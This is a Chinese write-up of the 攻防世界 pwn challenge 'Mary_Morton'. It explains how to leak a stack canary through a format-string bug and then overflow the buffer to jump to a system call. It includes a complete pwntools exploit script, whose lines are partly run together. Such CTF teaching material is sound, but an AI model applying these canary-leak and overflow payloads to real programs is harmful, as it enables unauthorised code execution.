攻防世界pwn–Mary_Morton

  1. file 一下,查看文件属性
  2. checksec一下,查看保护措施

    ① 开了canary,在调用函数的时候会在栈上设置一个标志,标志的位置:

② 开了NX,栈不可执行。

  1. 运行一下

  2. ida查看其反汇编代码

  3. 在ida里看到有system函数:

    地址:0x4008DA

  4. gdb调试,查看格式化字符串参数的位置

    这里 %p的作用:以16进制输出值
    例:
    这里我们输入的是'AAAAAAAA%p-%p-%p-%p-%p.....
    输出的是'AAAAAAAA0x..(1)..-0x.(2)...-0x.(3)...-.......-0x4141414141414141..
    这里 0x(1)表示的是输入的格式化字符串'AAAA..%p-..'后面的第一个参数的值(也就是函数原本的第二个参数,因为’AAAA..%p-..'是第函数的第一个参数。所以'AAAAAAAA'是格式化字符串的第六个参数,也就是函数的第七个参数。

  5. 查看有关栈溢出的函数:

可以利用的栈溢出的buf的位置:rbp-90h,canary标志v2的位置:rbp-8h
两者相差的距离:90h-8h= 0x88,0x88/8 = (8x16+8)/8 = 17.
由于buf是格式化字符串的第6个参数,所以v2是格式化字符串的第 6+17 = 23个参数。

利用思路:首先利用格式化字符串将canary的值泄露出来,之后再次选择,利用栈溢出漏洞将canary的值和call system函数的地址写进去

exp:

# coding:UTF-8 from pwn import*p = process("./Mary_Morton")
#p = remote("111.200.241.244",56023)sys_addr = 0x0004008DAp.recvuntil("battle \n")
p.sendline("2")p.sendline("%23$p") # canary标志点:v2,rbp-8h。buf:rbp-90h。两者相差:0x90-0x8 = 0x88 。0x88/0x8 = 17。buf是格式化字符串的第6个参数,v2则是第23个参数
p.recvuntil("0x")
canary = int(p.recv(16),16)
print(canary)p.recvuntil("battle \n")
p.sendline("1")
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(sys_addr)p.sendline(payload)p.interactive()

攻防世界pwn--Mary_Morton相关推荐

  1. [攻防世界 pwn]——Mary_Morton

    [攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...

  2. 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...

  3. 攻防世界 Pwn 进阶 第一页

    00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  5. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  6. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  7. [攻防世界 pwn]——实时数据监测

    [攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...

  8. [攻防世界 pwn]——monkey

    [攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...

  9. [攻防世界 pwn]——反应釜开关控制

    [攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...

  10. [攻防世界 pwn]——pwn-100

    [攻防世界 pwn]--pwn-100 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下 IDA中 sub_40063D函数的作用就是读入200个字符 ...

最新文章

  1. VMware出现“该虚拟机似乎正在使用中 请获取所有权”
  2. python学习笔记七
  3. .net程序中资源文件的保护办法探讨
  4. word中图片超出页边距_如何在Word中更改页边距
  5. 使用AspectJ注解技术实现AOP功能
  6. 跨域 cors 请求两次_请求两次的故事-CORS
  7. 人工智能感知技术是机器人应用支撑技术之一
  8. golang笔记(1)-数据库查询结果映射至结构体
  9. 7.13 Python循环语句(2)、number、字符串
  10. 英伟达登录界面卡住_一汽夏利重组;东风贪腐案行贿者名单? 众泰被申请预重整;尼古拉承认造假;理想英伟达德赛西威将合作;宋PLUS上市[9月17日]...
  11. php 网贷 源码,thinkphp仿百度钱包网贷借款源码
  12. 查看树莓派引脚以及串口连接
  13. FAT12文件系统详解
  14. 虚拟机快照,移除和删除使用方法
  15. 计算机考研408哪个视频好,计算机408考研视频哪个好
  16. 关系型数据库设计原则
  17. bzoj 3739 DZY loves math VIII
  18. 分组查询:group by
  19. 团队内的沟通方式:网络 OR 当面
  20. 在线支付线上支付是什么?其应用范围

热门文章

  1. 用虚幻4C++使用结构体和枚举
  2. FilterDispatcher is deprecated! Please use the new filters!
  3. Microsoft Visual Source Safe 2005(VSS)安装使用图文教程
  4. win10系统怎么启用策略服务器,手把手教你win10系统启用诊断策略服务的详细步骤【图文】...
  5. 计算机专业研究生热门和冷门专业,研究生热门专业排名前十名 2022报哪个比较好...
  6. 名画28 赵幹《江行初雪图》
  7. CentOS7获取不到ip地址的解决方案
  8. oracle报错 ORA-00904: ““: 标识符无效
  9. 学习开发h5培训课程的技巧有哪些?H5学习路线
  10. 所罗门群岛必试体验:去Uepi潜水